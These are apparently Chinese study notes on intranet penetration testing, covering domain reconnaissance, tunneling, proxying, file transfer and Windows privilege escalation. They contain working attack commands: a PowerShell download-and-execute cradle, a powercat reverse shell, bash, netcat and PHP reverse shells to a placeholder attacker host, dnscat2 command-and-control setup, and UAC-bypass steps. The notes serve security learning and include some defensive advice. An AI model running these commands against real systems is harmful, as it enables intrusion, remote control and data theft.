第一章 内网渗透测试基础
1.1 内网基础
1) 工作组(WorkGroup)
概念:最常见最简单最普通的资源管理模式
特点:
- 与域相对
- 不多于10台计算机
- 计算机之间关系是对等的
2) 域(Domain)
概念:有安全边界的计算机集合
域控(DC-Domain Controller)
概念:负责每一台联入网络的电脑和用户的验证工作的服务器,类似管理服务器的计算机。
域控特点:
- 包含存储所有账户,密码,域内计算机等信息的数据库
- 所有的权限身份验证,网络访问管理在域控上进行
- 可以有多台
域环境
父域和子域
关系:一个父域包含多个子域,父域子域是相对关系
特点:父域与子域的安全策略独立
域树
概念:是多个域通过建立信任关系组成的集合。
格式:用【.】隔开,越靠后越高级,最靠后的成为最高级子域或一级域,每个【.】代表一个层次
特点:子域只能以父域的名字作为其域名的后缀,域的名字是连续的,名字越长级别越低
域森林
概念:多个域树通过建立信任关系组成的集合
3) 活动目录(Active Dictionary)
概念:域环境中提供目录服务的组件
存储内容:用于存储有关网络对象(用户,组,计算机,共享资源,打印机,联系人等)的信息
功能:
- 账号集中管理
- 软件集中管理
- 环境集中管理
- 增强安全性
- 更可靠,更短的宕机时间
应用:活动目录是由微软提供的统一管理基础平台,ISA(防火墙),Exchange(邮件),SMS(系统管理服务器),均依赖于活动目录
4) 安全域划分
DMZ
概念:DMZ称为隔离区,是非安全系统与安全系统之间的缓冲区,用于解决安装防火墙后外部网络不能访问内部网络的问题
访问控制策略
内网:可以访问外网,可以访问DMZ
外网:不能访问内网,可以访问DMZ
DMZ:不能访问内网,不能访问外网(有例外,如邮件服务器)
两种攻击方式
鱼叉攻击:直接针对特定目标进行攻击,如钓鱼邮件
水坑攻击:没有确定的目的,如在受害者常访问的网站设置恶意代码等待受害者踩坑
5) 域内权限解读
组的概念:用户账号的集合(可以简化网络的维护和管理工作)
不同类型组的特点
域本地组来自于全林,作用于本域; (多域用户访问本域内资源)
全局组来自于本域,作用于全林; (本域用户访问多域资源)
通用组来自于全林,作用于全林; (保存不经常变化的信息,不推荐直接保存账号信息)
注解:“来自”指哪里的用户或者组可以添加进入该组中,“作用”指该组可以被哪里使用
使用既可以指添加权限,也可以指添加到其他组
组本身可以添加到其他组中,相当于添加组内所有成员,且之后对组本身的改动也会同步到以此方式添加的其他组
A-G-DL-P策略
概念:将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
- A表示用户账号
- G表示全局组
- DL表示域本地组
- P表示资源权限(另外,U表示通用组)
常用的域本地组权限
- 管理员组(Administrators):成员可以不受限制地存取计算机/域的资源。
- 账号操作员组(AccountOperators):成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。
- 服务器操作员组(ServerOperators):成员可以管理域服务器
重要全局组、通用组权限
- 域管理员组(Domain Admins): 成员在所有加入域的服务器(工作站)、域控制器和活动目录中均默认拥有完整的管理员权限。
- 企业系统管理员组(Enterprise Admins): 是域森林根域中的一个组。 该组在域森林中的每个域内都是Administrators组的成员,因此对所有域控制器都有完全访问权。
- 架构管理员组(Schema Admins) : 是域森林根域中的一个组。 可以修改活动目录和域森林的模式。该组是为活动目录和域控制器提供完整权限的域用户组
- 域用户组(Domain Users) : 包含所有的域成员 默认情况下建立的用户账号均属于域用户组
1.2 主机平台与工具
虚拟机
三种网络配置方式:
- 桥接模式:虚拟机视为独立的机器,有DHCP可以自动分配地址,无DHCP只能手动分配地址;
- NAT模式: 虚拟机通过物理机的连接访问网络(即NAT地址转换),除主机外其他网络无法访问虚拟机(默认模 式);
- Host-only模式:最严格的网卡配置,虚拟机处于独立的网段,只能通过连接共享功能实现共享上网,否则无法上网。(渗透环境推荐)
Powershell
概念:一种命令行外壳程序和脚本环境
环境:自Win7后内置于Windows系统中,脚本文件以.ps1
为结尾
特点:
- 默认安装在win7以上的操作系统中
- 脚本可以在内存中运行,不需要写入磁盘(不落地)
- 几乎不触发杀毒软件
- 可以远程执行
- 运行通常不会被阻止
- 可用于管理活动目录
查看版本:
1 | Get-Host |
在cmd中运行只要加上powershell
或者powershell.exe
即可。
执行策略
主要有四种策略:
- Restricted (默认设置,脚本不能运行)
- RemoteSigned (本地可以运行,网上下载且无签名的不可以运行)
- AllSigned (本地和网上的都需要签名才可以运行)
- UnRestricted (所有都可以运行)
查看当前策略:
1 | Get-ExecutionPolicy |
配置执行策略:
1 | Set-ExecutionPolicy <策略名称> |
常用命令
命令格式特点:采用动词-名词的形式
别名:兼容Windows Command 和Linux Shell
大小写区分:不区分大小写
常用文件操作命令:
1 | New-Item <目录名>-ItemType Directory 新建目录 |
运行脚本需要用管理员权限将执行策略从restricted改为unrestricted。
绕过本地权限执行脚本
- 直接bypass
1 | powerShell.exe -ExecutionPolicy bypass -File test.ps1 |
- 下载远程脚本在内存中执行
例如Cobalt Strike生成的Web投递木马攻击命令:
1 | powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring("host:port/a"))' |
或者先远程读取脚本进内存再执行脚本:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c {host} -p 4444 -e cmd |
这些命令也可以在cmd中执行。
参数说明:
- -ExecutionPolicy Bypass (-exec bypass) 绕过安全策略
- -Windowstyle Hidden (-w Hidden) 隐藏窗口
- -NoProfile (NoP)控制台不加载当前用户的配置文件
- -NonInteractive(NonI) 不为用户提供交互式的提示
将本地脚本导入powershell模块:
1 | Import-Module .\powercat.ps1 |
第二章 内网信息收集
1. 收集本机信息
查询基本配置
查询网络配置信息:
1 | ipconfig /all |
查询操作系统和版本(中文系统和英文系统):
1 | systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" |
注:/b指若在开头则匹配,/c指匹配指定字符串
查看系统体系架构:
1 | echo %Processor_Architecture% |
查看软件安装版本和路径:
- 使用wmic:
1 | wmic product get name,version |
- 使用powershell
1 | powershell "Get-WmiObject -class Win32_Product" | Select-Object -Property name,version |
查询进程信息
查询进程列表,进程用户:
1 | tasklist |
查看本机服务信息:
1 | wmic service list brief |
注解: brief作为list的参数,指列表中只显示摘要信息
查看进程信息:
1 | wmic process list brief |
查看启动程序信息:
1 | wmic startup get command,caption |
查看计划任务:
1 | schtasks /query /fo LIST /v |
查看开机时间:
1 | net statistics workstation |
查看用户列表:
1 | net user |
获取本地管理员信息(通常包含域用户):
1 | net localgroup administrators |
查看在线用户:
1 | query user || qwinsta |
注:qwinsta是Query Windows STAtion的简称,为一个用户会话管理程序
查看会话:
1 | net session |
查看端口列表(很常用!):
1 | netstat -ano |
查看补丁列表
- 通过系统详细信息列出:
1 | systeminfo |
- 利用wmic
1 | wmic qfe Caption,Description,HotFixID,InstalledOn |
查看本机共享列表:
1 | net share |
查看路由表以及所有可用接口的arp缓存表:
1 | route print |
自动信息收集
主要有两个软件:Wmic和Empire。
wmic
Windows命令行工具,一些收集信息的脚本会利用该工具查询信息
Empire
提供了用于收集主机信息的模块
2. 查看当前权限
查看权限和用户:
1 | whoami |
用户及权限的表示:
- 本地普通用户:主机名/用户名
- 本地管理员用户:主机名/Administrator
- 域内用户:域名/用户名
获取域SID:
1 | whoami /all |
SID 的全称是安全标识符(Security Identify),是为域或本地计算机中创建的每个帐户分配的唯一的ID字符串。
查看指定用户详细信息:
1 | net user <用户名>/domain |
3. 判断是否存在域
有多种方法:
- 利用
ipconfig
:查看网关,DNS,域名,本机,本机是否与DNS服务器在同一网段; - 利用
systeminfo
:域为域名还是WORKGROUP; - 利用当前登录域或登录用户的信息:
net config workstation
。判断工作站DNS域名称是域名还是WORKGROUP,或者登录域是域用户还是本地用户; - 查看时间
net time /domain
原理:域服务器通常也作为时间同步服务器
判断方式:
- 存在域,但当前不是域用户:发生系统错误5
- 存在域,且当前用户是域用户:显示时间
- 当前为工作组,不存在域:找不到域控
4. 探测域内存活主机
1)NetBIOS探测内网
概念:
- NetBIOS是局域网程序使用的一种API,几乎所有的局域网都是在NetBIOS协议的基础上工作的。
- NetBIOS也是计算机的标识名,主要用于局域网中计算机的互访。
- NetBIOS的工作流程就是正常的机器名解析査询应答过程
工具:nbtscan
使用:用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器
2)利用ICMP扫描
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" |
注解:
for /L %I in (1,1,254) do 构造了一段循环,/L指循环(loop)
前半段为固定的格式,类似于C中的for(i=1;i<=254;i=i+1) DO后面跟着的是执行的语句
-w -1是超时时间设置为1ms
-n -1是只发送一个包
目的ip的最后8位被循环变量代替,以循环遍历所有C段IP
最后通过管道将结果利用findstr命令过滤,只显示可以ping通的IP
@用于隐藏ping命令自身的回显
使用vbs脚本:
1 | cscript <脚本文件名> |
5. 扫描域内端口
使用Telnet命令
1 | telnet <主机> <端口> |
如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令最方便。
Metasploit端口扫描
Metasploit在内网渗透很常用。
启动:msfconsole
使用指定模块:
1 | use <模块名> |
如
1 | use auxiliary/scanner/portscan/tcp |
显示设置:
1 | show options |
设置端口:
1 | set port <端口号范围> |
设置远程目的IP:
1 | set rhosts |
设置线程数:
1 | set threads <线程数量> |
运行:run
端口Banner信息
常见的开发端口、协议以及漏洞利用:
6. 收集域内信息
查询域:
1 | net view /domain |
查询域内计算机:
1 | net view /domain:<域名> |
查询域内所有用户组列表:
1 | net group /domain |
查询所有域成员计算机列表:
1 | net group "domain computers" /domain |
获取域密码信息:
1 | net accounts /domain |
获取域信任信息:
1 | nltest /domain_trusts |
7. 查找域控制器
查看域控机器名称:
1 | nltest /DCLIST:<域名> |
查看域控主机名:
1 | nslookup -type=SRV_ldap._tcp |
查看当前时间:
1 | net time /domain |
查看域控组:
1 | net group "Domain Controllers" /domain |
8. 获取域内用户和管理员信息
查询域用户列表
向域控制器查询用户列表:
1 | net user /domain |
获取域内用户详细信息:
1 | wmic useraccount get /all |
查看存在的用户:
1 | dsquery user |
查询本地管理员组用户:
1 | net localgroup administrators |
查询域管理员用户组
查询域管理员用户:
1 | net group "domain admins" /domain |
查询管理员用户组:
1 | net group "Enterprise Admins" /domain |
9. 定位域管理员
主要工具:
- psloggedon.exe
- PVEFindADUser.exe
- NetView
- Nmap的NSE脚本
Nmap中有smb-enum-sessions.nse
引擎用于获取远程机器的登录会话。
使用:
1 | smb-enum-<收集信息>.nse |
<收集信息>选项包括:
- domains(域控主机)
- users(域用户信息)
- shares(共享目录)
- processes(系统进程,运行软件)
- sessions(登录会话,登录状态)
此外还有命令:smb-os-discovery.nse (目标主机信息)
10. 查找域管理进程
获取域管理员列表:
1 | net group "Domain Admins" /domain |
列出本机所有进程以及进程用户
1 | tasklist /v |
第三章 隐藏隧道通信技术
隐藏隧道通信基础
隐藏隧道技术用于在访问受限制网络环境中追踪数据流向和在非受信任网络中实现安全的数据传输。
隧道:是一种绕过防火墙端口屏蔽的方式,在防火墙两端将数据包封装进合法的数据包中传输。
常用网络隧道:
- 网络层:IPv6, ICMP, GRE隧道
- 传输层:TCP, UDP隧道, 常规端口转发
- 应用层:SSH, HTTP, HTTPS, DNS隧道
判断内网联通性
主要有四种协议可以判断:
- ICMP:ping
- TCP:netcat
- HTTP:curl or wegt
- DNS:nslookup or dig
网络层隧道
IPv6隧道
利用将IPv6报文整体封装进IPv4数据部分,用IPv4隧道传输IPv6数据。
大部分防火墙和边界设备无法识别IPv6的通信数据。
ICMP隧道
PingTunnel
参数说明:
- -x:指定隧道连接密码
- -p:要监听的本地TCP端口
- -da:指定要转发的目标机器IP
- -dp:指定要转发的目标机器的TCP端口
- -p:指定另一端机器的IP
特点:
- 将数据封装在ping包中以穿过防火墙
- 基于网络层协议ICMP
- 可以设置密码
使用:
开启隧道并设置密码:
1 | ptunnel -x <密码> |
设置隧道方向:
1 | ptunnel -p <代理服务器IP> -lp <本机监听端口> -da <靶机地址> -dp <靶机端口> - x <密码> |
效果是通过代理服务器,将VPS的端口与靶机对应的端口连在一块,使得vps可以访问内网对应的端口。
注意:需要代理服务器具有双网卡,既联通外网也联通内网,本机处于外网。
防范方法
检测同一来源的ICMP数据包的数量。
一个正常的ping命令每秒最多发送两个数据包,而使用ICMP 隧道的浏览器会在很短的时间内产生上千个ICMP数据包。
注意那些Payload大于64bit的ICMP数据包。
寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
检查ICMP数据包的协议标签特征。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL”标记来标识隧道。
传输层隧道
主要基于TPC和UDP协议实现隧道通信。
lcx端口转发
作用:
- 内网端口转发:将内网机器的数据转发到公网VPS上
- 本地端口映射:将本地无法通过防火墙的端口转发到防火墙允许的端口
用法:
- 内网端口转发
在目标机器执行:
1 | lcx.exe -salve <外网VPS-IP> 4444 127.0.0.1 3389 |
在外网VPS上执行:
1 | lcx.exe -listen 4444 5555 |
此时将目标机器上的3389端口数据经过VPS的4444端口转发到了VPS的5555端口,直接访问VPS:5555即可远程登录目标主机。
- 本地端口映射
1 | lcx.exe -tran <允许的端口> <靶机ip> <目的端口> |
在目标机器上执行,可以目的端口映射到防火墙允许的端口。例如将3389映射到DNS解析的53,此时再用上面内网端口转发就能把数据顺利通过防火墙转发出去。
netcat
命令参数:
-c:执行shell命令
-e:程序重定向
-d:后台模式
-l:监听模式
-n:直接使用IP地址
-p:设置本地使用的通信端口
-v:信息输出
-u:使用UDP传输数据
一般用法
banner抓取:
1 | nc -nv <靶机ip> <靶机端口> |
链接远程主机:
1 | nc -nvv <靶机ip> <靶机端口> |
端口扫描:
1 | nc -v <靶机ip> <靶机端口> |
端口监听:
1 | nc -l -p <本地端口> |
文件传输:
1 | nc -vn <目的IP> <目的端口> <【这个是输入重定向】<文件名> -q -1 # 发送 |
简易聊天:
1 | nc -l -p <本地端口> |
获取Shell
有两种获取shell的方式:
- 客户端连接服务器,客户端想要获取服务器的shell,称为正向Shell
- 客户端连接服务器,服务器想要获取客户端的shell,称为反向Shell
正向Shell
目标主机监听端口:
1 | nc -lvp <端口> -e /bin/sh |
攻击机连接:
1 | nc <攻击机ip> <攻击机端口> |
反向Shell
攻击机监听:
1 | nc -lvp 4444 |
目标机器连接:
1 | nc <攻击机ip> <攻击机端口> -e <shell程序路径> |
注意这里是目标主机的shell路径。
其他反弹Shell方式
bash
反弹shell:
1 | bash -i >& /dev/tcp/<攻击机ip>/<攻击机端口> 0>&1 |
- -i:交互模式使用bash
- >&:bash输出重定向到后面的文件(Linux一切皆文件,tcp设备socket也是文件),&的作用是将报错也重定向
- 0>&1:输入重定向到输出
python
反弹shell
1 | import socket,subprocess,os |
- php反弹shell
1 | php -r '$sock=fsockopen("<攻击机ip>",<攻击机端口>);exec("/bin/sh -i <&3 >&3 2>&3");' |
即:
1 | $sock=fsockopen("<攻击机ip>",<攻击机端口>); |
内网代理
VPS监听端口:
1 | nc -lvp <vps端口> |
数据库(内网)服务器监听端口:
1 | nc -lvp <内网端口> -e /bin/sh |
边界服务器(内网暴露在外网的Web服务器):
1 | nc -v -c "nc -v <内网地址> <内网端口>" |
此时VPS就与内网服务器建立了连接。
powercat
powershell版本的nc。
优势是可以远程加载到内存执行:
1 | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c <host> -p 4444 -e cmd |
且不会对硬盘做操作,无痕迹。
应用层隧道
SSH
概念:SSH为建⽴在应⽤层基础上的安全协议。SSH是较可靠,专为远程登录会话和其他⽹络服务提供安全性的协议。
参数:
- -C:压缩传输,提高传输效率
- -f:后台执行SSH
- -N:静默连接
- -g:允许远程主机连接本地用于转发端口
- -L:本地端口转发
- -R:远程端口转发
- -D:动态转发
- -P:执行端口
实际上前四个-CfNg就是默认配置,一般一起使用。
本地转发
环境:VPS可以访问Web服务器(跳板机),但不能访问内网主机,需要Web服务器转发到内网。
在VPS上执行:
1 | ssh -CfNg -L <vps端口>:<靶机ip>:<靶机端口> root@<跳板机ip> |
将靶机端口数据转发到vps对应的端口上,之后可以通过访问vps的对应端口以访问靶机的对应端口。
远程转发
环境:VPS不能访问内网机器,但内网可以访问外网。
以Web服务器为跳板,将VPS的3307端口流量转发到内网服务器的3389端口:
在**Web服务器(跳板机)**上执行:
1 | ssh -CfNg -R <vps端口>:<靶机ip>:<靶机端口> root@<vpsIP地址> |
此时即可访问VPS的3307端口就能连接内网主机的3389。
与本地转发的区别:本地转发是VPS连接Web,远程转发是Web连接VPS。(转发的部分都是内网机器转发到web,因此中间转发的命令没有变化,都是3307:10.0.0.1:3389,变化的只有后面连接的IP)
动态转发
环境:VPS可以访问其中一台内网机器。
VPS执行:
1 | ssh -CfNg -D <端口> root@<跳板机ip> |
输入跳板机密码后,建立动态Socks4/5代理通道。
浏览器设置代理为本机的指定端口,即可在浏览器中访问靶机
防范思路
- SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。
- 在系统中配置SSH远程管理白名单
- 在ACL中限制只有特定的IP地址才能连接SSH
- 设置系统完全使用带外管理
HTTP/HTTPS
HTTP隧道可以将所有流量转发到内网。
常用工具主要有reGeorg, metepreter, tunna。
使用如下指令建立HTTP隧道:
1 | python3 reGeorgSocksProxy.py -u http://host/tunnel.jsp -p 9999 |
再配置proxychains等代理工具即可实现访问目标内网的资源。
DNS
将数据封装进DNS协议实现通信,需要架设一个伪装的DNS服务器。
使用DNS隧道时,因为内网网关没有转发IP数据包,看起来没有与外网通信,实际上内网DNS服务器做了中转。
dnscat2
概念:一款使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份认证的开源软件
是一个命令与控制(C&C)工具,客户端采用C,服务端采用Ruby
C&C通信是指植入C&C木马的客户端与C&C服务端(攻击者)上的远控程序的通信。
两种模式:
- 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求;
- 中继模式:DNS经过互联网的迭代解析,最终指向指定DNS服务器。
特点:
- 支持多个会话
- 流量加密
- 使用密钥防止MiTM攻击
- 在内存中直接执行PowerShell脚本
- 隐蔽通信
服务器端启动:
1 | sudo ruby ./dnscat2.rb vpn.***.*** -e open -c <密码> --no-caceh |
直连模式:
1 | sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=<密码> |
客户端连接:
1 | dnscat2-v***-client-win32.exe --dns domain=vpn.****.*** --secret <密码> |
连接之后也可以反弹shell或者执行类似MSF的指令。
防范方式:
- 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
- 将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求
- 跟踪用户的DNS査询次数。如果达到阈值,就生成相应的报告
- 阻止ICMP。
SOCKS5代理
常用的有三种网络环境:
- 服务器在内网,可以访问任意外网
- 服务器在内网,可以访问外网,但部署了防火墙做过滤
- 服务器在内网,且开放了部分端口,且服务器不能访问外网
对于第三种,常需要用代理实现访问。
SockS协议分为SOCKS4和SOCKS5两种类型。
特点:
- SOCK4只支持TCP协议
- SOCK5支持TCP/UDP协议以及各种身份验证机制
- 标准端口为1080
- 能够直接与靶机进行通信,避免多次端口转发
SOCKS代理可以理解为强化版的lcx端口转发,工具在服务器端监听端口,当有理解请求时,从SOCKS协议中解析出目标URL和端口,再执行lcx具体功能。
常用工具:EarthWorm,reGeorg,sSocks,SocksCap64
EarthWorm
正向代理与反向代理:
- 正向是主动通过代理来访问目标机器;
- 反向是目标机器通过代理进行主动连接。
正向Socks5代理
目标机器有公网IP时,直接在目标主机监听端口:
1 | ew -s ssocksd -l 888 |
此时在888端口架设了Socks代理,再配置即可使用这个代理。
反弹Socks5服务器
目标没有公网IP时。
向在VPS上执行:
1 | ew -s rcsocks -l 1008 -e 888 |
此时在VPS上添加了一个转接隧道,把对1080端口收到的代理请求转发到888端口。
然后在暴露在外网的内网Web服务器上执行:
1 | ew -s rssocks -d <VPS-IP> -e 888 |
此时在该Web服务器上启动了Socks5代理服务,然后反弹到VPS的888端口。
再返回到VPS即可看到反弹成功,即可通过访问VPS的1008端口使用内网Web服务器上搭建的Socks5代理。
二级网络环境
a)
环境:获得了两个主机A,B的权限,其中A有公网地址,B在内网
处理:
B主机:
1 | ew -s ssocksd -l 888 |
A主机:
1 | ew -s lcx_tran -l 1088 -f -g 888 |
此时可以通过访问A主机的1088使用内网B主机的888端口代理。
b)
环境:获得了两个主机A,B的权限,其中A没有公网地址,B在内网
处理:
VPS:
1 | ew -s lcx_listen -l <接收端口> -e <转发端口1> |
B主机(与上面环境相同):
1 | ew -s ssocksd -l <转发端口2> |
A主机:
1 | ew -s lcx_slave -d -e <转发端口1> -f -g <转发端口2> |
将vps的转发端口1通过A主机与B主机的转发端口2相连,访问vps的接收端口即可使用B主机的代理访问内网资源。
Proxychains
配置:
1 | vi /etc/proxychains.conf |
删除dynamic前的#,将文件末的ip与端口改成想要访问端口的信息即可
代理启动浏览器:
1 | proxychains firefox |
上传下载
命令行环境上传下载工具:
FTP
最常用的文件上传下载协议。
常用命令:
- open <服务器IP>:连接服务器
- cd <目录名>:进入目录
- type:查看当前传输方式(默认为ASCII传输)
- put <filename>:文件上传
- send <filename>:上传
- get <filename>:文件下载
利用VBS脚本上传
使用msxm12.xmlhttp
和adodb.stream
对象编写脚本。
首先上传文件到VPS,且暴露到外网URL:http://server_ip/target.exe
1 | Set Post = CreateObject("Msxm12.XMLHTTP"); |
可以使用命令行的echo
命令将上面的脚本一行一行重定向到download.vbs
1 | echo Set Post = CreateObject("Msxm12.XMLHTTP") >> download.vbs |
执行脚本:
1 | Cscript .\download.vbs |
即可在目标服务器从我们的VPS下载target.exe(即实现了target.exe的上传)。
利用Debug上传
原理:先将需要上传的EXE文件转为纯十六进制文本格式,再通过echo命令将hex代码写入目标机器的文件中,最后再利用Debug命令将hex代码编译还原为EXE可执行文件。
exe转hex可以使用exe2bat.exe
工具,该工具位于kali的/usr/share/windows-binaries
目录:
运行命令转换(但该工具只能转换64KB以下大小的文件):
得到的数据类似于:
1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex |
复制到目标命令行执行,实际上是将大部分数据和指令重定向到debug执行。
最后把debug生成的动态链接库1.dll写到exe文件,即可还原为可执行的exe文件:
注意:在64位的Windows10上一般没有Debug命令了。
使用Nishang上传
原理与上面的debug类似。
实际上也是先将exe转为txt,再echo到目标服务器,最后用Nishang的Download_Execute脚本将文本文件转换为可执行程序:
1 | Download_Execute url/msf.txt |
使用bitsadmin下载
bitsadmin是Windows XP之后系统自带的命令行工具,Windows Update就是用它来下载文件的。
利用Powershell下载
1 | powershell IEX (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1', 'powercat.ps1') |
第四章 权限提升分析及防御
四种权限与其对应的功能:
- User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
- Administrator:管理员权限。如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作.
- System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
- TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
两种提取:
- 横向:获取同级别角色的权限;
- 纵向:低权限角色获取高权限角色的权限
系统内核溢出漏洞提权分析以及防范
手动发现缺失补丁
使用whoami查看当前权限:
1 | whoami /groups |
查看补丁:
1 | systeminfo |
寻找该系统的提权EXP,再将已安装的补丁与提取EXP对比,使用没有安装补丁的EXP进行提权。
使用工具寻找缺失补丁
- Metasploit的post/windows/gather/enum_patches模块
- Windows Exploit Suggester
- Powershell的Sherlock脚本
Windows操作系统配置错误利用分析及防范
服务特点:
- Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件
- Windows服务以System权限运行,因此其文件夹,文件和注册表键值都是受强访问机制保护的
但也有某些服务未得到有效访问保护,系统访问权限配置错误/可写目录漏洞主要有两种:
- 服务未运行:攻击者用任意服务替换原本服务,再重启
- 服务正在运行且无法被终止:利用DLL劫持再尝试重启服务提权
利用工具:
Powerup:powershell中的脚本
Metasploit:利用service_permissions模块
注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。
Windows允许低权限用户以System权限运行安装文件。
如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM
权限来安装恶意MSI文件
PathsAlwaysInstallElevated漏洞原理
Windows Installer:Windows系统用于安装和管理软件的组件,当点击.msi
后缀的文件时,会运行msiexec.exe读取文件中的数据和指令(.msi文件实际上是一个存储了安装数据和配置命令的数据库)进行安装操作。
当用户开启了Windows Installer特权安装功能时,会自动创建注册表2个键值。
此时允许用户以System权限安装文件运行.msi文件。
可信任服务路径漏洞
TrustedServicePaths漏洞产生的原因
因为Windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径C:\Program(空格)Files\Some(空格)Folder\Service.exe
。对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序(Windows系统允许exe文件不写出后缀名,因此会对空格看作路径结束,寻找空格前的字符串对应的可执行文件)。
操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
系统对可执行文件寻找的路径如下:
■ C:\Program.exe
■ C:\Program (空格) Files\Some.exe
■ C:\Program (空格) Files\Some(空格)Folder\Service.exe
因此可以构造一个exe文件实现劫持。
漏洞要求
- 系统服务中路径保护空格
- 系统服务中的路径未被引号包括(否则不会被空格截断)
- 有对目标文件夹的写操作权限
漏洞检测
使用wmic寻找符合条件的服务:
1 | wmic service get |
然后再用系统内置icacls检测文件夹权限即可实现利用。
漏洞利用
当构造好对应的exe后,执行以下命令重启服务:
1 | sc stop service_name |
也可以用msf:
1 | use exploit/windows/local/trusted_service_path |
最后迁移进程:
1 | set AutoRunScript migrage -f |
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。
可以直接搜索这些文件:
1 | dir /b /s c:\Unattend.xml |
也可以用msf的集成模块post/windows/gather/enum_unattend
.
计划任务
查看计划任务:
1 | schtasks /query /fo LIST /v |
再使用官方工具AccessChk
查看对应计划任务的目录权限:
1 | accesschk -dqv "C:\Microsoft" -accepteula |
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。
这样,在计划任务下次执行时,就会以高权限来运行恶意程序。
组策略首选项提权分析及防范
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。
SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。
整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies\
目录中。
常见的组策略首选项(GroupPolicyPreferences,GPP):
- 映射驱动器(Drives.xml)
- 创建本地用户。
- 数据源(DataSources.xml)
- 打印机配置(Printers.xml)
- 创建/更新服务(Services.xml)
- 计划任务(ScheduledTasks.xml)
可以通过更改组策略实现提权:
- 手动查找
- 使用powershell获取
- 使用MSF查找
- 使用Empire查找
防御措施
■ 在用于管理组策略的计算机上安装KB2962486补丁
■ 此外,需要对Everyone访问权限进行设置,具体如下:
- 设置共享文件夹SYSVOL的访问权限。
- 将包含组策略密码的XML文件从SYSVOL目录中删除。
- 不要把密码放在所有域用户都有权访问的文件中。
- 如果需要更改域中机器的本地管理员密码,建议使用LAPS。
绕过UAC提权分析及防范
UAC(UserAccountControl,用户账户控制)是微软为提高系统安全性在Windows Vista中引入的技术。
UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。
需要UAC的授权才能进行的操作如下:
- 配置Windows Update。
- 增加/删除账户。
- 更改账户类型。
- 更改UAC的设置。
- 安装ActiveX。
- 安装/卸载程序。
- 安装设备驱动程序。
- 将文件移动/复制到ProgramFiles或Windows目录下。
- 査看其他用户的文件夹
UAC有如下四种设置要求。
■ 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
■ 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
■ 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
■ 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。
使用MSF的bypassuac模块
已经获得了目标机器的meterpreter Shell。
当前权限为普通用户权限,现在尝试获取系统的System权限:
■ 首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shell。
■ 然后,执行getsystem
命令。再次査看权限,发现已经绕过UAC,获得了System权限,
RunAs模块
使用MSF的exploit/windows/local/ask模块,创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行;
如果用户选择继续运行程序,就会返回一个高权限的meterpreter Shell。
Nishang中的Invoke-PsUACme模块
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC。
针对绕过UAC提权的防御措施
■ 在企业网络环境中,不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
■ 在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。
■ 使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限。
■ 可以使用微软的EMET或MalwareBytes来更好地防范0day漏洞。
令牌窃取分析及防范
